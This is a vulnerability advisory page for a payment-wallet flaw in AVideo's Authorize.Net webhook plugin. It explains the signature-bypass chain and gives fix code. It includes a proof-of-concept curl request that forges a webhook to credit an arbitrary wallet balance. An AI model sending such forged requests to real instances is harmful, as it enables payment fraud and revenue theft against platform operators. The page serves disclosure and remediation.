AVideo CVE-2026-33731
MEDIUMSeverity by source
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N
Network-accessible endpoint requires only a low-privileged account (one real purchase); no confidentiality or availability impact, but complete wallet-integrity bypass.
Primary rating from GitHub Advisory.
CVSS VectorGitHub Advisory
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N
Lifecycle Timeline
2DescriptionGitHub Advisory
Summary
The Authorize.Net webhook handler at plugin/AuthorizeNet/webhook.php contains a signature verification bypass that allows an attacker to forge webhook requests with arbitrary payment amounts and target user IDs. By supplying a valid transaction ID from a small legitimate purchase, the attacker bypasses signature validation and credits arbitrary wallet balances to any user account via attacker-controlled payload fields.
Details
Three flaws combine into an exploit chain:
1. Signature Bypass via OR Logic (webhook.php:33)
if (!$parsed['signatureValid'] && (empty($txnInfo) || !empty($txnInfo['error']))) {
http_response_code(401);
echo 'invalid signature';
exit;
}The webhook is rejected only when both conditions are true: the signature is invalid AND the transaction lookup fails. If the attacker supplies a real transaction ID (e.g., from their own $1 purchase), getTransactionDetails() succeeds and returns valid data, so the second condition is false. The invalid signature is silently ignored.
2. Payload Values Override API-Fetched Values (AuthorizeNet.php:169-171, webhook.php:44-48)
In analyzeTransactionFromWebhook(), users_id and amount are extracted from the attacker-controlled webhook payload first:
$users_id = isset($metadata['users_id']) ? (int)$metadata['users_id'] : null;
$amount = isset($payload['amount']) ? (float)$payload['amount'] : ...;The fallback logic in webhook.php only applies when the analysis values are empty/falsy:
if (!$analysis['users_id'] && !empty($txnInfo['users_id'])) {
$analysis['users_id'] = (int)$txnInfo['users_id'];
}
if (!$analysis['amount'] && isset($txnInfo['amount'])) {
$analysis['amount'] = (float)$txnInfo['amount'];
}Since the forged payload already provides both values, the authoritative API-fetched values are never used.
3. Missing Approval Check (webhook.php:61-75)
The code checks only that users_id and amount are non-empty before calling processSinglePayment(). The isApproved field is computed in analyzeTransactionFromWebhook() (line 222-228) but never verified before crediting the wallet at line 68-75.
PoC
Prerequisites: Attacker has a low-privileged account on the AVideo instance and has made at least one legitimate small Authorize.Net purchase (e.g., $1.00), noting the transaction ID (e.g., 60123456789).
- Immediately after the purchase completes (to race the legitimate webhook), send a forged webhook:
curl -X POST https://target.com/plugin/AuthorizeNet/webhook.php \
-H 'Content-Type: application/json' \
-d '{
"eventType": "net.authorize.payment.authcapture.created",
"payload": {
"id": "60123456789",
"amount": 99999.99,
"responseCode": 1,
"metadata": {
"users_id": 2
}
}
}'- The signature check fails (no
X-ANET-Signatureheader), butgetTransactionDetails('60123456789')succeeds because it is a real transaction. The OR condition on line 33 is not fully satisfied, so execution continues. analyzeTransactionFromWebhook()uses the forged payload'samount: 99999.99andmetadata.users_id: 2.processSinglePayment()credits $99,999.99 to user ID 2's wallet viaaddBalance().- The dedup key is
sha1('net.authorize.payment.authcapture.created' . '60123456789'), so the legitimate webhook arriving later is silently discarded as a duplicate. - The attacker can repeat with new transaction IDs from additional small purchases for cumulative balance inflation.
Impact
- Wallet balance inflation: Attacker credits arbitrary amounts to any user's wallet without corresponding payment, bypassing the payment gateway's actual charge amount.
- Premium content access: Inflated wallet balance allows purchasing all paid/premium video content without real payment.
- Subscription fraud: By including
plans_idin forged metadata, the attacker can activate premium subscriptions (webhook.php:86-134) without corresponding payment. - Financial loss: Platform owner loses revenue from fraudulently accessed premium content and services.
Recommended Fix
1. Reject webhooks with invalid signatures unconditionally - the transaction lookup should only be used for data enrichment *after* signature validation passes:
// webhook.php line 33 - FIX: reject on invalid signature alone
if (!$parsed['signatureValid']) {
_error_log('[Authorize.Net webhook] Bad signature');
http_response_code(401);
echo 'invalid signature';
exit;
}2. Use API-fetched values as authoritative - in webhook.php lines 44-55, invert the precedence so $txnInfo values always override payload values:
// Always prefer API-fetched values over payload values
if (!empty($txnInfo['users_id'])) {
$analysis['users_id'] = (int)$txnInfo['users_id'];
}
if (isset($txnInfo['amount'])) {
$analysis['amount'] = (float)$txnInfo['amount'];
}3. Check isApproved before processing - add a gate before processSinglePayment():
if (!$analysis['isApproved']) {
_error_log('[Authorize.Net webhook] Transaction not approved');
http_response_code(400);
echo 'transaction not approved';
exit;
}AnalysisAI
Wallet balance inflation in AVideo's Authorize.Net payment plugin (versions <= 28.0) allows a low-privileged attacker to credit arbitrary amounts to any user account by forging webhook requests. Three code flaws chain together: a logical OR in the signature check lets a real transaction ID bypass HMAC validation entirely, attacker-controlled payload fields take precedence over authoritative API-fetched amounts and user IDs, and the payment approval status is never verified before crediting the wallet. …
Unlock full vulnerability intelligence
- Risk assessment & exploitation conditions
- Attack chain visualization
- Remediation with exact patch versions
- Threat intelligence from 22 sources
- Personal watchlist & email alerts
Free forever · No credit card required
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | The attacker must hold a registered low-privileged account on the target AVideo instance and must have completed at least one legitimate Authorize.Net payment transaction (minimum purchase amount is unconstrained - $0.01 suffices if the platform allows it) in order to possess a valid transaction ID. … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | The CVSS 3.1 vector CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N scores 6.5 (Medium), which underrepresents real-world financial impact: wallet inflation enables subscription fraud, premium content theft, and direct platform revenue loss at scale. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An attacker registers an account on a target AVideo instance and makes a $1.00 Authorize.Net purchase, recording the resulting transaction ID. Immediately after the purchase completes - before Authorize.Net's legitimate webhook arrives - the attacker POSTs a crafted JSON body to /plugin/AuthorizeNet/webhook.php containing the real transaction ID, an inflated amount of $99,999.99, and the user ID of any target account. … |
| Remediation | Upgrade AVideo to version 29.0 or later, which resolves all three flaws via commit 033e83ae904cacb99495dbea7cbcfb3738cf42e4 (https://github.com/WWBN/AVideo/commit/033e83ae904cacb99495dbea7cbcfb3738cf42e4). … Detailed patch versions, workarounds, and compensating controls in full report. |
Threat intelligence, references, and detailed analysis are available after sign-in.
sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not
(1) boardData102.php, (2) boardData103.php, (3) boardDataJP.php, (4) boardDataNA.php, and (5) boardDataWW.php in Netgear
ProjectSend versions prior to r1720 are affected by an improper authentication vulnerability. Rated critical severity (C
Roundcube Webmail contains a critical PHP object deserialization vulnerability (CVE-2025-49113, CVSS 9.9) that allows au
Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP c
Palo Alto Networks PAN-OS management web interface contains an authentication bypass allowing unauthenticated attackers
Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re
Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re
The get_referers function in /opt/ws/bin/sblistpack in Sophos Web Appliance before 3.7.9.1 and 3.8 before 3.8.1.1 allows
The Backup Migration plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1
NetAlertX (formerly PiAlert) versions 23.01.14 through 24.x before 24.10.12 allow unauthenticated command injection thro
The GiveWP - Donation Plugin and Fundraising Platform plugin for WordPress is vulnerable to PHP Object Injection in all
Share
External POC / Exploit Code
Leaving vuln.today
GHSA-95jh-7r58-xmxw